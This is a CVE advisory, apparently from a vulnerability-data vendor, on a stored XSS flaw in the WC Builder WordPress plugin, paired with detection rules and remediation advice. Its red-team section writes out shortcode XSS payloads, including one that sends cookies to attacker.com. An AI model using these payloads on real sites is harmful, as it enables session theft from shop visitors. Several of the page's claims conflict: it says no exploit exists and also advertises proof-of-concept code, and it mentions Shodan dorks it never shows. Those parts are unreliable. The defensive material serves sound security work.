CVE-2025-14054
Executive Summary
CVE-2025-14054 is a Stored Cross-Site Scripting (XSS) vulnerability in the WC Builder – WooCommerce Page Builder for WPBakery WordPress plugin, affecting all versions up to and including 1.2.0. The flaw resides in the wpbforwpbakery_product_additional_information shortcode, where insufficient input sanitization and output escaping on the heading_color parameter (and other styling parameters) allows authenticated attackers with Shop Manager-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode.
This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The CVSS score of 4.4 (Medium) reflects the need for authenticated access and user interaction, but the potential for persistent compromise of WooCommerce store pages makes it a significant threat to e-commerce operations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No open-source patch data (OSV) or GitHub advisory is available, indicating the vendor has not yet released a fix. Users should monitor the plugin’s update channel and consider temporary mitigations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Base Score: 4.4 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): High – Requires Shop Manager-level authentication.
- User Interaction (UI): Required – A victim must visit the compromised page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Script injection can modify page content.
- Availability (A): Low – Potential for minor disruption.
Threat Level: Medium. While the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is trivial to exploit once authenticated and can lead to persistent defacement, credential theft, or malware distribution on WooCommerce store pages.
Deep Dive & Mechanics
The vulnerability exists in the wpbforwpbakery_product_additional_information shortcode, which is part of the WC Builder plugin. This shortcode renders product information on WooCommerce pages and accepts styling parameters such as heading_color. The plugin fails to properly sanitize user input and escape output when rendering these parameters in the HTML.
Root Cause:
- Insufficient Input Sanitization: The
heading_colorparameter is not validated against a whitelist of allowed CSS values or sanitized to remove JavaScript event handlers. - Insufficient Output Escaping: When the shortcode is rendered, the parameter value is directly inserted into the HTML without proper escaping (e.g., using
esc_attr()orwp_kses()).
Attack Flow:
- An authenticated attacker with Shop Manager privileges (or higher) edits a WooCommerce product page or creates a new page using the vulnerable shortcode.
- The attacker sets the
heading_colorparameter to a malicious payload, such as:" onfocus="alert(1)" autofocus="true". - The plugin stores this payload in the WordPress database without sanitization.
- When any user (including administrators or customers) visits the page, the payload executes in their browser context.
Impact:
- Theft of session cookies or authentication tokens.
- Redirection to phishing pages.
- Defacement of WooCommerce store pages.
- Installation of keyloggers or other client-side malware.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.2.0 and earlier):
// In shortcode handler
$heading_color = $atts['heading_color'];
echo '<div style="color: ' . $heading_color . ';">' . $content . '</div>';
Patched Code (hypothetical fix):
// Properly sanitize and escape
$heading_color = isset($atts['heading_color']) ? sanitize_hex_color($atts['heading_color']) : '';
if (empty($heading_color)) {
$heading_color = 'inherit';
}
echo '<div style="color: ' . esc_attr($heading_color) . ';">' . esc_html($content) . '</div>';
The patched version uses sanitize_hex_color() to ensure only valid hex color codes are accepted, and esc_attr() to safely output the value. Additionally, esc_html() is applied to the content to prevent XSS in other parameters.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with WC Builder plugin version ≤ 1.2.0.
- Valid credentials for a Shop Manager-level account or higher.
Exploitation Steps:
- Log in to WordPress as a Shop Manager.
- Navigate to a WooCommerce product page or create a new page using the
wpbforwpbakery_product_additional_informationshortcode. - In the page editor, set the shortcode parameters to include a malicious payload. For example:
[wpbforwpbakery_product_additional_information heading_color="red" onfocus="alert(document.cookie)" autofocus="true"] - Save the page.
- When any user visits the page, the JavaScript executes.
Alternative Payload (Steal Cookies):
[wpbforwpbakery_product_additional_information heading_color="red" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"]
Note: No public exploit code (Exploit-DB) is available for this CVE.
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress database for suspicious shortcode parameters containing event handlers (e.g.,
onfocus,onclick,onload). - Review WooCommerce product pages for unexpected JavaScript in styling attributes.
- Use Web Application Firewall (WAF) rules to block requests with XSS patterns in shortcode parameters.
Hardening:
- Restrict Shop Manager privileges to only trusted users.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Apply virtual patching via WAF until an official patch is released.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified WordPress posts/pages containing the vulnerable shortcode with suspicious
heading_colorvalues. - Presence of JavaScript event handlers (e.g.,
onfocus,onmouseover) in shortcode parameters.
- Modified WordPress posts/pages containing the vulnerable shortcode with suspicious
Network-based IOCs:
- Outbound HTTP requests to unknown domains from the WordPress server (potential data exfiltration).
- Unusual referrer headers or user-agent strings in requests to WooCommerce pages.
Log-based IOCs:
- WordPress audit logs showing edits to product pages by Shop Manager accounts with unusual shortcode parameters.
- Web server logs containing requests with XSS payloads in query strings or POST data.
Detection Engineering
YARA Rule
rule CVE_2025_14054_WC_Builder_XSS {
meta:
description = "Detects malicious shortcode parameters in WC Builder plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14054"
strings:
$shortcode = /\[wpbforwpbakery_product_additional_information[^\]]*heading_color\s*=\s*["'][^"']*?(on\w+\s*=|javascript:)/i
$event_handler = /(onfocus|onclick|onload|onmouseover|onerror)\s*=\s*["']/i
condition:
$shortcode or $event_handler
}
Sigma Rule
title: CVE-2025-14054 - Stored XSS in WC Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via heading_color parameter in WC Builder shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'heading_color'
- 'onfocus'
- 'onclick'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of CSS color values (unlikely to contain event handlers)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14054 - Stored XSS in WC Builder Plugin"; flow:to_server,established; content:"heading_color"; http_uri; pcre:"/(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical for business operations.
- Restrict Shop Manager privileges to only essential users and monitor their activity.
- Implement a Web Application Firewall (WAF) rule to block requests containing XSS patterns in shortcode parameters.
Long-term Fix:
- Apply an official patch from the vendor once released. Monitor the WordPress plugin repository for updates.
- If no patch is forthcoming, consider replacing the plugin with an alternative WooCommerce page builder.
Workaround:
- Manually edit the plugin’s shortcode handler to add input sanitization and output escaping (as shown in the patched code example). This requires custom development and testing.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.